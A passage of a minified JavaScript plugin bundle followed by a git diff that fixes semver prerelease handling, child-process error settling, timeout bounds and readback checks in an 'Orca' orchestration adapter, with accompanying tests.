s=O(n).gates;if(!Array.isArray(s))return!1;let a=s.map(O).filter(i=>i.id===t.id);return a.length===1&&a[0].taskId===t.task&&a[0].status==="resolved"&&a[0].resolution===t.resolution}}}if(t.operation==="worker-release"){let r=O(e);return{operation:{operation:"worker-show",dispatch:t.dispatch},matches:n=>{let s=O(O(n).dispatch);return r.dispatchId===t.dispatch&&s.id===t.dispatch&&["released","retained"].includes(String(s.terminalDisposition))}}}if(t.operation==="run-create"){let r=O(e),n=r.runId??ve(r,"run");return{operation:{operation:"run-show",id:String(n)},matches:s=>{let a=O(O(s).run);return a.id===n&&a.objective===t.objective}}}if(t.operation==="task-create"||t.operation==="task-update"){let r=O(e),n=r.taskId??ve(r,"task"),s=t.operation==="task-create"?n:t.id;return{operation:{operation:"task-list"},matches:a=>{if(n!==s)return!1;let i=O(a).tasks;if(!Array.isArray(i))return!1;let o=i.map(O).filter(u=>u.id===s);if(o.length!==1)return!1;let c=o[0];return t.operation==="task-create"&&"run_id"in c?c.spec===t.spec&&c.task_title===(t.title??t.spec)&&c.deps===JSON.stringify(t.deps??[])&&c.parent_id===(t.parent??null):t.operation==="task-create"?c.spec===t.spec&&c.title===t.title&&JSON.stringify(c.deps??[])===JSON.stringify(t.deps??[])&&c.parent===t.parent:c.status===t.status&&bn(c.result,t.result)}}}if(t.operation==="worker-start"){let r=O(e),n=r.dispatchId;return{operation:{operation:"worker-show",dispatch:String(n)},matches:s=>{let a=O(O(s).dispatch);return r.taskId===t.task&&a.id===n&&a.taskId===t.task&&a.agent===t.agent&&a.model===t.model&&a.effort===t.effort}}}if(t.operation==="gate-create"){let r=O(e),n=r.gateId;return{operation:{operation:"gate-list",task:t.task},matches:s=>{let a=O(s).gates;if(!Array.isArray(a)||r.taskId!==t.task)return!1;let i=a.map(O).filter(c=>c.id===n);if(i.length!==1)return!1;let o=i[0];return o?.taskId===t.task&&o.question===t.question&&JSON.stringify(o.options)===JSON.stringify(t.options)}}}}function bn(t,e){return e===void 0?!0:JSON.stringify(t)===JSON.stringify(e)||t===JSON.stringify(e)}function wn(t,e,r){let n=et(t,e),s=Qe.has(t)||n;if(r.outputLimited||r.transportLost)return s?re(t,"execute",r.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response"):xt(t,r.outputLimited?"output_limit":"process_exit",r.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response");if(r.timedOut)return s?re(t,"execute","Orca did not finish before the deadline"):xt(t,"timeout","Orca did not finish before the deadline");if(r.exitCode!==0)return s?new T("ambiguous_after_possible_commit",t,"execute","unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",`Orca exited with status ${r.exitCode??"signal"}`,r.stderr):new T("process_exit",t,"execute",s?"readback-required":"safe","Inspect Orca state and use the documented recovery operation.",`Orca exited with status ${r.exitCode??"signal"}`,r.stderr.slice(-4096))}function xt(t,e,r){return new T(e,t,"execute","safe","Retry the read-only operation when Orca is healthy.",r)}function On(t,e){return t===void 0?e:Math.min(an,Math.max(e,t+sn))}function Et(t={}){let e=Object.freeze({...t.env??process.env}),r=rn({platform:t.platform,managedTerminal:t.managedTerminal??e.TERM_PROGRAM==="Orca"}),n=t.executor??At,s=t.timeoutMs??nn,a=t.now??(()=>new Date),i=async(c,u,h=s)=>{try{return await n({executable:r,argv:c,shell:!1,timeoutMs:h,maxStdoutBytes:on,maxStderrBytes:cn,env:e})}catch(w){throw new T("executable_unavailable",u,"resolve","safe","Verify that the deterministic Orca executable is installed and available, then retry.",w instanceof Error&&"code"in w?`Orca execution failed (${String(w.code)})`:"Orca execution failed")}},o=async c=>{let u=yt(c),h="timeoutMs"in c?c.timeoutMs:void 0,w=await i(u,c.operation,On(h,s));w={...w,stderr:An(w.stderr,c,e)};let V=Qe.has(c.operation)||et(c.operation,c),P=wn(c.operation,c,w);if(P!==void 0)throw P;let J=vn(c.operation,w.stdout,V);if(!J.ok){let xe=nt(J.error?.message??"Orca returned an error envelope",c,e);throw V?re(c.operation,"decode",xe):new T("unexpected_response",c.operation,"decode",V?"readback-required":"safe","Follow the public Orca diagnostic and inspect state before retrying.",xe)}return J};return Object.freeze({executable:r,async status(){let c=await i(["status","--json"],"runtime");if(c.outputLimited||c.transportLost||c.timedOut||c.exitCode!==0)throw new T(c.outputLimited?"output_limit":c.timedOut?"timeout":"process_exit","runtime","execute","safe","Restore the public Orca runtime and retry the compatibility probe.","Orca status did not complete successfully");let u;try{u=Ct(c.stdout)}catch{throw new T("malformed_json","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status was not one JSON document")}let h=_n.safeParse(u);if(!h.success)throw new T("unexpected_response","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status did not match the strict runtime compatibility contract");return h.data},async execute(c){let u=It.safeParse(c);if(!u.success)throw yt(c),new Error("unreachable");let h=u.data,w=a().toISOString(),V=await o(h);return!Qe.has(h.operation)&&!et(h.operation,h)?V:Tn(h,V,w,o,a,e)}})}async function Tn(t,e,r,n,s,a){In(t,e);let i=kn(t,e.result);if(i!==void 0){let u;try{u=await n(i.operation)}catch(h){throw Sn(t,i.operation.operation,h,a)}if(!i.matches(u.result))throw new T("readback_mismatch",t.operation,"readback","unsafe",`Inspect state with orchestration ${i.operation.operation}; do not retry the mutation automatically.`,`${i.operation.operation} disagreed with the mutation receipt`)}let o=e._meta,c=Object.freeze({verb:t.operation,ids:xn(t.operation,e.result),runtimeId:o.runtimeId,runtimeVersion:o.runtimeVersion??null,startedAt:r,completedAt:s().toISOString(),readbackVerb:i?.operation.operation??null});return Object.freeze({...e,receipt:c})}function Sn(t,e,r,n){return r instanceof T?new T(r.code,t.operation,"readback","readback-required",`Repeat or inspect orchestration ${e}; do not retry the mutation automatically.`,nt(`${e} failed after Orca returned a valid mutation receipt: ${r.message}`,t,n),r.stderr):new T("unexpected_response",t.operation,"readback","unrecoverably-ambiguous",`Inspect state with orchestration ${e}; do not retry the mutation automatically.`,`${e} failed after Orca returned a valid mutation receipt`)}function In(t,e){if(e._meta?.runtimeId===void 0)throw re(t.operation,"receipt","mutation receipt omitted bounded runtime identity metadata");if(!Rn(t,e.result))throw new T("readback_mismatch",t.operation,"receipt","unsafe","Inspect the requested entity with its documented public read operation; do not retry automatically.","mutation receipt identity disagreed with the requested entity");if(t.operation==="check"&&t.ack!==void 0&&O(e.result).acknowledged!==!0)throw re(t.operation,"receipt","check --ack success did not contain its matching delivery identifier");if(t.operation==="run-use"&&"coordinatorTerminalHandle"in O(e.result)&&O(e.result).coordinatorTerminalHandle!==e._meta.invokingTerminal)throw new T("readback_mismatch",t.operation,"readback","unsafe","Inspect orchestration run-current; do not retry run-use automatically.","run-use terminal binding was not runtime-attested")}function Rn(t,e){let r=O(e);switch(t.operation){case"run-use":return(r.runId??ve(r,"run"))===t.id;case"task-update":return(r.taskId??ve(r,"task"))===t.id;case"worker-start":return r.taskId===t.task;case"worker-release":return r.dispatchId===t.dispatch;case"reply":return r.messageId===t.id;case"ask":return t.resume===void 0||r.messageId===t.resume;case"check":return t.ack===void 0||r.deliveryId===t.ack;case"gate-create":return r.taskId===t.task;case"gate-resolve":return r.gateId===t.id&&r.taskId===t.task;default:return!0}}function An(t,e,r){return nt(t,e,r)}function nt(t,e,r){let n=[...t].filter(c=>{let u=c.charCodeAt(0);return u===9||u===10||u===13||u>=32&&u!==127&&u<128||u>159}).join(""),s=tt(e),a=Object.entries(r).filter(([c,u])=>u!==void 0&&/(?:TOKEN|SECRET|PASSWORD|PASS|KEY|CREDENTIAL|AUTH|COOKIE)/i.test(c)).map(([,c])=>c),i=Object.values(r).flatMap(c=>c===void 0?[]:Cn(c));for(let c of[...s,...a,...i].filter(u=>u.length>=3).sort((u,h)=>h.length-u.length))n=n.split(c).join("[REDACTED]");let o=Buffer.from(n,"utf8");return o.length<=4096?n:Buffer.concat([Buffer.from("[truncated] "),o.subarray(o.length-4084)]).toString("utf8")}function Cn(t){try{let e=new URL(t);if(e.password.length===0)return[];try{return[e.password,decodeURIComponent(e.password)]}catch{return[e.password]}}catch{return[]}}function tt(t){return typeof t=="string"?[t]:Array.isArray(t)?t.flatMap(tt):typeof t=="object"&&t!==null?Object.values(t).flatMap(tt):[]}function qe(){return Et()}var ls=Object.freeze({createAdapter:Et,createOrcaProcessExecutor:Rt,spawnOrcaProcess:At});var En="1.4.192",jt="orchestration.contract.v1";function Nt(t){return new T("unsupported_environment","runtime","resolve","safe","Run this plugin in a supported Orca host with the public orchestration contract and child-process access.",t)}function Mt(t){let e=/^(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?(?:\+[0-9A-Za-z.-]+)?$/.exec(t);if(e!==null)return{release:[Number(e[1]),Number(e[2]),Number(e[3])],prerelease:e[4]===void 0?[]:e[4].split(".")}}function jn(t,e){if(t.length===0||e.length===0)return e.length-t.length;for(let r=0;r<Math.max(t.length,e.length);r+=1){let n=t[r],s=e[r];if(n===void 0||s===void 0)return n===void 0?-1:1;let a=/^\d+$/.test(n),i=/^\d+$/.test(s);if(a!==i)return a?-1:1;if(a&&Number(n)!==Number(s))return Number(n)<Number(s)?-1:1;if(!a&&n!==s)return n<s?-1:1}return 0}function Nn(t,e){let r=Mt(t),n=Mt(e);if(r===void 0||n===void 0)return!1;for(let s=0;s<3;s+=1)if(r.release[s]!==n.release[s])return r.release[s]>n.release[s];return jn(r.prerelease,n.prerelease)>=0}async function Vt(t){try{let e=await t.status(),r=e.result.runtime.runtimeId,n=e.result.runtime.appVersion;if(!Nn(n,En)||!e.result.runtime.capabilities.includes(jt))throw Nt("Orca runtime version or orchestration contract is outside the supported range.");return Object.freeze({runtimeId:r,runtimeVersion:n,contract:jt})}catch(e){throw e instanceof T&&e.code==="unsupported_environment"?e:Nt("The Orca compatibility probe could not complete through the public adapter.")}}function Pt(t=qe()){return Object.freeze({probe:()=>Vt(t),async execute(e){return await Vt(t),t.execute(e)}})}var Mn="genie.orca.run-list";function Vn(t=qe()){let e=Pt(t);return async r=>{r.commands.register(Mn,()=>e.execute({operation:"run-list",limit:100}))}}var ys=Vn();export{Mn as ORCA_RUN_LIST_COMMAND,Vn as createOrcaPluginEntrypoint,ys as default}; diff --git a/plugins/genie/orca-runtime.test.ts b/plugins/genie/orca-runtime.test.ts index a28e7e482..96428e283 100644 --- a/plugins/genie/orca-runtime.test.ts +++ b/plugins/genie/orca-runtime.test.ts @@ -116,6 +116,47 @@ describe('native Orca plugin contract', () => { } }); + // A prerelease of the minimum is NOT the minimum. The version gate dropped the + // `-rc.1` suffix, so `1.4.192-rc.1` compared equal to the released `1.4.192` + // and satisfied `>=1.4.192` — the plugin then ran against a runtime whose + // orchestration contract is still in flux. + test('rejects a prerelease of the minimum runtime version and accepts real successors', async () => { + const accepted = [ + ORCA_MINIMUM_RUNTIME_VERSION, + '1.4.193', + '1.5.0', + '2.0.0', + '1.4.193-rc.1', + `${ORCA_MINIMUM_RUNTIME_VERSION}+build.7`, + ]; + const rejected = [ + '1.4.192-rc.1', + '1.4.192-0', + '1.4.192-alpha', + '1.4.191', + '1.3.999', + '0.9.9', + 'not-a-version', + '1.4', + ]; + const probeWith = async (runtimeVersion: string) => { + const adapter: OrcaOrchestrationAdapter = { + executable: 'opaque-to-plugin', + status: async () => status(runtimeVersion), + execute: async () => response(), + }; + return createOrcaPluginRuntime(adapter).probe(); + }; + for (const runtimeVersion of accepted) { + expect(await probeWith(runtimeVersion), runtimeVersion).toMatchObject({ runtimeVersion }); + } + for (const runtimeVersion of rejected) { + await expect(probeWith(runtimeVersion), runtimeVersion).rejects.toMatchObject({ + code: 'unsupported_environment', + }); + } + }); + test('does not expose stores, fallback, argv, shells, dispatch injection, or executable selection', async () => { const source = await readFile(resolve(import.meta.dir, 'orca-runtime.ts'), 'utf8'); for (const forbidden of [ diff --git a/plugins/genie/orca-runtime.ts b/plugins/genie/orca-runtime.ts index a301074b9..8883cae80 100644 --- a/plugins/genie/orca-runtime.ts +++ b/plugins/genie/orca-runtime.ts @@ -31,20 +31,50 @@ function unsupportedEnvironment(message: string): OrcaAdapterError { ); } -function versionParts(value: string): readonly number[] | undefined { - const match = /^(\d+)\.(\d+)\.(\d+)(?:[-+].*)?$/.exec(value); +interface ParsedVersion { + readonly release: readonly number[]; + readonly prerelease: readonly string[]; +} + +/** + * Semver parse. Build metadata is discarded (it never affects precedence); the + * prerelease identifiers are kept, because dropping them made `1.4.192-rc.1` + * compare equal to the released `1.4.192` and satisfy `>=1.4.192`. + */ +function parseVersion(value: string): ParsedVersion | undefined { + const match = /^(\d+)\.(\d+)\.(\d+)(?:-([0-9A-Za-z.-]+))?(?:\+[0-9A-Za-z.-]+)?$/.exec(value); if (match === null) return undefined; - return match.slice(1).map(Number); + return { + release: [Number(match[1]), Number(match[2]), Number(match[3])], + prerelease: match[4] === undefined ? [] : match[4].split('.'), + }; +} + +/** Semver §11 precedence for prerelease identifiers; a release outranks any prerelease. */ +function comparePrerelease(left: readonly string[], right: readonly string[]): number { + if (left.length === 0 || right.length === 0) return right.length - left.length; + for (let index = 0; index < Math.max(left.length, right.length); index += 1) { + const a = left[index]; + const b = right[index]; + if (a === undefined || b === undefined) return a === undefined ? -1 : 1; + const aNumeric = /^\d+$/.test(a); + const bNumeric = /^\d+$/.test(b); + // Numeric identifiers always rank below alphanumeric ones. + if (aNumeric !== bNumeric) return aNumeric ? -1 : 1; + if (aNumeric && Number(a) !== Number(b)) return Number(a) < Number(b) ? -1 : 1; + if (!aNumeric && a !== b) return a < b ? -1 : 1; + } + return 0; } function versionAtLeast(actual: string, minimum: string): boolean { - const left = versionParts(actual); - const right = versionParts(minimum); + const left = parseVersion(actual); + const right = parseVersion(minimum); if (left === undefined || right === undefined) return false; for (let index = 0; index < 3; index += 1) { - if (left[index] !== right[index]) return left[index] > right[index]; + if (left.release[index] !== right.release[index]) return left.release[index] > right.release[index]; } - return true; + return comparePrerelease(left.prerelease, right.prerelease) >= 0; } async function probe(adapter: OrcaOrchestrationAdapter): Promise<OrcaPluginCompatibility> { diff --git a/src/lib/orca-orchestration-adapter.test.ts b/src/lib/orca-orchestration-adapter.test.ts index 932b1a0ec..71d3695ff 100644 --- a/src/lib/orca-orchestration-adapter.test.ts +++ b/src/lib/orca-orchestration-adapter.test.ts @@ -1,4 +1,5 @@ import { describe, expect, test } from 'bun:test'; +import { EventEmitter } from 'node:events'; import { MAX_ORCA_STDERR_BYTES, MAX_ORCA_STDOUT_BYTES, @@ -167,6 +168,30 @@ describe('closed Orca orchestration argv grammar', () => { }); }); +/** + * Minimal child stand-in for the injected spawn seam: only the events and + * streams `createOrcaProcessExecutor` subscribes to, plus a no-op `kill`. + */ +function fakeChild(): EventEmitter & { stdout: EventEmitter; stderr: EventEmitter; kill: () => boolean } { + return Object.assign(new EventEmitter(), { + stdout: new EventEmitter(), + stderr: new EventEmitter(), + kill: () => true, + }); +} + +function processRequest() { + return { + executable: 'orca', + argv: ['orchestration', 'run-current'] as const, + shell: false as const, + timeoutMs: 30_000, + maxStdoutBytes: MAX_ORCA_STDOUT_BYTES, + maxStderrBytes: MAX_ORCA_STDERR_BYTES, + env: {}, + }; +} + describe('runtime and executor boundary', () => { const validStatus = (): OrcaRuntimeStatus => ({ id: 'local-status', @@ -712,13 +737,21 @@ describe('runtime and executor boundary', () => { }); }); + // Escalation is only observable when the child genuinely ignores SIGTERM. + // A runtime that installs the handler in JS (`bun -e "process.on('SIGTERM', …)"`) + // loses the race whenever the timeout fires before the interpreter finishes + // booting — the child then dies of the plain SIGTERM and the test reads + // SIGTERM instead of SIGKILL, deterministically on some bun builds. `/bin/sh` + // sets the disposition to SIG_IGN before anything else runs, and SIG_IGN + // survives `exec`, so the sleeping grandchild-free process is unkillable by + // SIGTERM from its very first instruction. test('bounds timeout termination through the kill escalation path', async () => { const started = Date.now(); const result = await __orcaAdapterTestOnly.spawnOrcaProcess({ - executable: process.execPath, - argv: ['-e', "process.on('SIGTERM', () => {}); setInterval(() => {}, 1000)"], + executable: '/bin/sh', + argv: ['-c', 'trap "" TERM; exec sleep 30'], shell: false, - timeoutMs: 20, + timeoutMs: 250, maxStdoutBytes: MAX_ORCA_STDOUT_BYTES, maxStderrBytes: MAX_ORCA_STDERR_BYTES, env: process.env, @@ -728,6 +761,50 @@ describe('runtime and executor boundary', () => { expect(Date.now() - started).toBeLessThan(2500); }); + // A stream fault used to have no listener at all: node/bun re-throws an + // 'error' event with no handler as an uncaught exception, so the process died + // and this promise never settled. Both streams now settle through the same + // ambiguous-transport-loss path as a post-spawn child 'error'. + test.each([ + ['stdout', 'stdout stream error: EIO: i/o error'], + ['stderr', 'stderr stream error: EIO: i/o error'], + ] as const)('settles a %s stream fault as an ambiguous transport loss', async (stream, expected) => { + const child = fakeChild(); + const executor = __orcaAdapterTestOnly.createOrcaProcessExecutor( + (() => child) as unknown as Parameters<typeof __orcaAdapterTestOnly.createOrcaProcessExecutor>[0], + ); + const settled = executor(processRequest()); + child.emit('spawn'); + child[stream].emit('error', new Error('EIO: i/o error')); + const result = await settled; + expect(result.transportLost).toBeTrue(); + expect(result.exitCode).toBeNull(); + expect(result.stderr).toContain(expected); + }); + + test('keeps settling a post-spawn child transport error through the same path', async () => { + const child = fakeChild(); + const executor = __orcaAdapterTestOnly.createOrcaProcessExecutor( + (() => child) as unknown as Parameters<typeof __orcaAdapterTestOnly.createOrcaProcessExecutor>[0], + ); + const settled = executor(processRequest()); + child.emit('spawn'); + child.emit('error', new Error('EPIPE')); + const result = await settled; + expect(result.transportLost).toBeTrue(); + expect(result.stderr).toContain('process transport error: EPIPE'); + }); + + test('still rejects a pre-spawn child error instead of settling it', async () => { + const child = fakeChild(); + const executor = __orcaAdapterTestOnly.createOrcaProcessExecutor( + (() => child) as unknown as Parameters<typeof __orcaAdapterTestOnly.createOrcaProcessExecutor>[0], + ); + const settled = executor(processRequest()); + child.emit('error', Object.assign(new Error('ENOENT'), { code: 'ENOENT' })); + await expect(settled).rejects.toMatchObject({ code: 'ENOENT' }); + }); + test('redacts secrets and request values, strips controls, and truncates stderr', async () => { const secret = 'super-secret-token'; const body = 'private request body'; @@ -852,6 +929,156 @@ describe('runtime and executor boundary', () => { } }); + // `worker-start`, `check --wait`, and `ask` accept a `--timeout-ms` of up to + // 600_000 ms, but the child process was pinned to the 30s adapter default and + // SIGKILLed every long wait before Orca could answer. + test('bounds the child on the operation wait, not the fixed adapter default', async () => { + const cases: ReadonlyArray<[OrcaOperation, number]> = [ + [{ operation: 'ask', question: 'q', timeoutMs: 120_000 }, 125_000], + [{ operation: 'check', wait: true, timeoutMs: 600_000 }, 605_000], + [{ operation: 'worker-start', task: 'task_a', agent: 'codex', timeoutMs: 90_000 }, 95_000], + // A wait shorter than the default must NOT shrink the budget the CLI needs + // just to start up. + [{ operation: 'ask', question: 'q', timeoutMs: 250 }, 30_000], + // No declared wait keeps the adapter default. + [{ operation: 'run-current' }, 30_000], + ]; + for (const [operation, expected] of cases) { + const seen: number[] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async (request) => { + seen.push(request.timeoutMs); + return { exitCode: 0, stdout: '', stderr: '' }; + }, + }); + await expect(adapter.execute(operation)).rejects.toBeInstanceOf(OrcaAdapterError); + expect(seen[0], operation.operation).toBe(expected); + } + }); + + test('never lets a caller push the child bound past the adapter ceiling', async () => { + const seen: number[] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + // An adapter-level default already above the ceiling still clamps. + timeoutMs: 5_000_000, + executor: async (request) => { + seen.push(request.timeoutMs); + return { exitCode: 0, stdout: '', stderr: '' }; + }, + }); + await expect(adapter.execute({ operation: 'check', wait: true, timeoutMs: 600_000 })).rejects.toBeInstanceOf( + OrcaAdapterError, + ); + expect(seen[0]).toBe(605_000); + }); + + // `run-current` legitimately answers `{ run: null }` when nothing is bound. + // The run-use readback dereferenced it and threw a raw TypeError out of + // `execute`, bypassing the adapter's typed error contract. + test('reports an unbound run-current readback as a typed run-use mismatch', async () => { + let call = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result: call++ === 0 ? { runId: 'run_a', coordinatorTerminalHandle: 'term_a' } : { run: null }, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1', invokingTerminal: 'term_a' }, + }), + stderr: '', + }), + }); + const error = await adapter.execute({ operation: 'run-use', id: 'run_a' }).then( + () => undefined, + (cause: unknown) => cause, + ); + expect(error).toBeInstanceOf(OrcaAdapterError); + expect(error).not.toBeInstanceOf(TypeError); + expect(error).toMatchObject({ + code: 'readback_mismatch', + operation: 'run-use', + phase: 'readback', + retrySafety: 'unsafe', + }); + expect(call).toBe(2); + }); + + // A status-only `task-update` asserts nothing about `result`. Requiring result + // equality compared `JSON.stringify(undefined)` against the readback's stored + // value and failed EVERY status-only update — `null` on a fresh task, the prior + // JSON string on a task that already carried one. + test('accepts a status-only task-update readback whatever result the entity already stores', async () => { + const publicTask = (result: string | null) => ({ + id: 'task_a', + run_id: 'run_a', + parent_id: null, + created_by_terminal_handle: 'term_a', + created_by_pane_key: 'pane_a', + created_by_process_incarnation: 'incarnation_a', + created_by_run_generation: 1, + task_title: 'Adapter', + display_name: 'Adapter', + spec: 'Implement', + status: 'completed', + deps: '[]', + result, + created_at: '2026-08-30T00:00:00Z', + completed_at: null, + }); + const scenarios: ReadonlyArray<[string, object]> = [ + ['public projection with no stored result', { legacyReadOnly: false, runId: 'run_a', count: 1 }], + ['private projection with no stored result', {}], + ['private projection with a prior stored result', {}], + ]; + const readbacks: readonly object[] = [ + { runId: 'run_a', legacyReadOnly: false, tasks: [publicTask(null)], count: 1 }, + { tasks: [{ id: 'task_a', spec: 'Implement', status: 'completed' }] }, + { tasks: [{ id: 'task_a', spec: 'Implement', status: 'completed', result: { summary: 'from an earlier run' } }] }, + ]; + for (const [index, [label]] of scenarios.entries()) { + let call = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result: call++ === 0 ? { taskId: 'task_a' } : readbacks[index], + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1' }, + }), + stderr: '', + }), + }); + const response = await adapter.execute({ operation: 'task-update', id: 'task_a', status: 'completed' }); + expect(response.result, label).toMatchObject({ taskId: 'task_a' }); + expect(call, label).toBe(2); + } + }); + + // The result IS still verified when the mutation carried one. + test('still rejects a task-update readback whose stored result contradicts the mutation', async () => { + let call = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result: + call++ === 0 + ? { taskId: 'task_a' } + : { tasks: [{ id: 'task_a', spec: 'Implement', status: 'completed', result: { summary: 'other' } }] }, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1' }, + }), + stderr: '', + }), + }); + await expect( + adapter.execute({ operation: 'task-update', id: 'task_a', status: 'completed', result: { summary: 'done' } }), + ).rejects.toMatchObject({ code: 'readback_mismatch' }); + }); + test('rejects mismatched receipt identities and duplicate readback rows', async () => { const scenarios: Array<{ input: OrcaOperation; mutationResult: object; readResult?: object }> = [ { diff --git a/src/lib/orca-orchestration-adapter.ts b/src/lib/orca-orchestration-adapter.ts index 276fd5d9e..f4ee5229a 100644 --- a/src/lib/orca-orchestration-adapter.ts +++ b/src/lib/orca-orchestration-adapter.ts @@ -386,108 +386,141 @@ export interface OrcaProcessResult { export type OrcaProcessExecutor = (request: OrcaProcessRequest) => Promise<OrcaProcessResult>; export const DEFAULT_ORCA_TIMEOUT_MS = 30_000; +/** + * Headroom over an operation's own `--timeout-ms` so the CLI gets to render its + * documented timeout response instead of being killed mid-write. + */ +const ORCA_TIMEOUT_GRACE_MS = 5_000; +/** + * Hard ceiling on the process bound: the operation schema's own maximum wait + * (600_000 ms) plus the grace. A caller can never push the adapter past it, so + * widening the schema later cannot silently unbound the child. + */ +const MAX_ORCA_TIMEOUT_MS = 605_000; export const MAX_ORCA_STDOUT_BYTES = 1_048_576; export const MAX_ORCA_STDERR_BYTES = 65_536; const ORCA_KILL_GRACE_MS = 1_000; const ORCA_CLOSE_GRACE_MS = 1_000; -const spawnOrcaProcess: OrcaProcessExecutor = async (request) => - new Promise((resolve, reject) => { - const child = spawn(request.executable, [...request.argv], { - shell: request.shell, - env: request.env as NodeJS.ProcessEnv, - stdio: ['ignore', 'pipe', 'pipe'], - windowsHide: true, - }); - const stdout: Buffer[] = []; - const stderr: Buffer[] = []; - let stdoutBytes = 0; - let stderrBytes = 0; - let settled = false; - let timedOut = false; - let outputLimited = false; - let spawned = false; - let killTimer: ReturnType<typeof setTimeout> | undefined; - let closeTimer: ReturnType<typeof setTimeout> | undefined; - const finish = (result: OrcaProcessResult) => { - if (settled) return; - settled = true; - clearTimeout(timer); - if (killTimer !== undefined) clearTimeout(killTimer); - if (closeTimer !== undefined) clearTimeout(closeTimer); - resolve(result); - }; - const stop = () => { - child.kill('SIGTERM'); - killTimer ??= setTimeout(() => { - child.kill('SIGKILL'); - closeTimer ??= setTimeout( - () => - finish({ - exitCode: null, - signal: 'SIGKILL', - stdout: Buffer.concat(stdout).toString('utf8'), - stderr: Buffer.concat(stderr).toString('utf8'), - timedOut, - outputLimited, - transportLost: true, - }), - ORCA_CLOSE_GRACE_MS, - ); - }, ORCA_KILL_GRACE_MS); - }; - const timer = setTimeout(() => { - timedOut = true; - stop(); - }, request.timeoutMs); - child.stdout.on('data', (chunk: Buffer) => { - stdoutBytes += chunk.length; - if (stdoutBytes > request.maxStdoutBytes) { - outputLimited = true; - stop(); - } else stdout.push(chunk); - }); - child.stderr.on('data', (chunk: Buffer) => { - stderrBytes += chunk.length; - if (stderrBytes > request.maxStderrBytes) { - outputLimited = true; +/** + * `spawnChild` is the only seam: it lets a test drive the post-spawn failure + * paths (stream faults, transport loss) that a real child cannot be made to + * produce portably. Production always binds `node:child_process.spawn`. + */ +function createOrcaProcessExecutor(spawnChild: typeof spawn = spawn): OrcaProcessExecutor { + return (request) => + new Promise((resolve, reject) => { + const child = spawnChild(request.executable, [...request.argv], { + shell: request.shell, + env: request.env as NodeJS.ProcessEnv, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }); + const stdout: Buffer[] = []; + const stderr: Buffer[] = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let settled = false; + let timedOut = false; + let outputLimited = false; + let spawned = false; + let killTimer: ReturnType<typeof setTimeout> | undefined; + let closeTimer: ReturnType<typeof setTimeout> | undefined; + const finish = (result: OrcaProcessResult) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (killTimer !== undefined) clearTimeout(killTimer); + if (closeTimer !== undefined) clearTimeout(closeTimer); + resolve(result); + }; + const stop = () => { + child.kill('SIGTERM'); + killTimer ??= setTimeout(() => { + child.kill('SIGKILL'); + closeTimer ??= setTimeout( + () => + finish({ + exitCode: null, + signal: 'SIGKILL', + stdout: Buffer.concat(stdout).toString('utf8'), + stderr: Buffer.concat(stderr).toString('utf8'), + timedOut, + outputLimited, + transportLost: true, + }), + ORCA_CLOSE_GRACE_MS, + ); + }, ORCA_KILL_GRACE_MS); + }; + const timer = setTimeout(() => { + timedOut = true; stop(); - } else stderr.push(chunk); - }); - child.once('spawn', () => { - spawned = true; - }); - child.once('error', (error) => { - if (settled) return; - if (spawned) { + }, request.timeoutMs); + // A post-spawn stream fault settles exactly like the post-spawn child + // 'error' below: an ambiguous transport loss, never an unhandled 'error' + // event that would crash the process and leave this promise pending. + const settleTransportLoss = (detail: string) => { + if (settled) return; finish({ exitCode: null, stdout: Buffer.concat(stdout).toString('utf8'), - stderr: `${Buffer.concat(stderr).toString('utf8')}\nprocess transport error: ${error.message}`, + stderr: `${Buffer.concat(stderr).toString('utf8')}\n${detail}`, timedOut, outputLimited, transportLost: true, }); - return; - } - settled = true; - clearTimeout(timer); - if (killTimer !== undefined) clearTimeout(killTimer); - if (closeTimer !== undefined) clearTimeout(closeTimer); - reject(error); - }); - child.once('close', (exitCode, signal) => { - if (settled) return; - finish({ - exitCode, - signal, - stdout: Buffer.concat(stdout).toString('utf8'), - stderr: Buffer.concat(stderr).toString('utf8'), - timedOut, - outputLimited, + }; + child.stdout.on('error', (error: Error) => { + settleTransportLoss(`stdout stream error: ${error.message}`); + }); + child.stderr.on('error', (error: Error) => { + settleTransportLoss(`stderr stream error: ${error.message}`); + }); + child.stdout.on('data', (chunk: Buffer) => { + stdoutBytes += chunk.length; + if (stdoutBytes > request.maxStdoutBytes) { + outputLimited = true; + stop(); + } else stdout.push(chunk); + }); + child.stderr.on('data', (chunk: Buffer) => { + stderrBytes += chunk.length; + if (stderrBytes > request.maxStderrBytes) { + outputLimited = true; + stop(); + } else stderr.push(chunk); + }); + child.once('spawn', () => { + spawned = true; + }); + child.once('error', (error) => { + if (settled) return; + if (spawned) { + settleTransportLoss(`process transport error: ${error.message}`); + return; + } + settled = true; + clearTimeout(timer); + if (killTimer !== undefined) clearTimeout(killTimer); + if (closeTimer !== undefined) clearTimeout(closeTimer); + reject(error); + }); + child.once('close', (exitCode, signal) => { + if (settled) return; + finish({ + exitCode, + signal, + stdout: Buffer.concat(stdout).toString('utf8'), + stderr: Buffer.concat(stderr).toString('utf8'), + timedOut, + outputLimited, + }); }); }); - }); +} + +const spawnOrcaProcess: OrcaProcessExecutor = createOrcaProcessExecutor(); const terminalId = id; const receipt = (shape: z.ZodRawShape) => z.object(shape).strict(); @@ -812,7 +845,18 @@ function hasAcknowledgement(operation: OrcaOrchestrationVerb, input: unknown): b return operation === 'check' && typeof input === 'object' && input !== null && 'ack' in input; } +/** + * Property-access view over 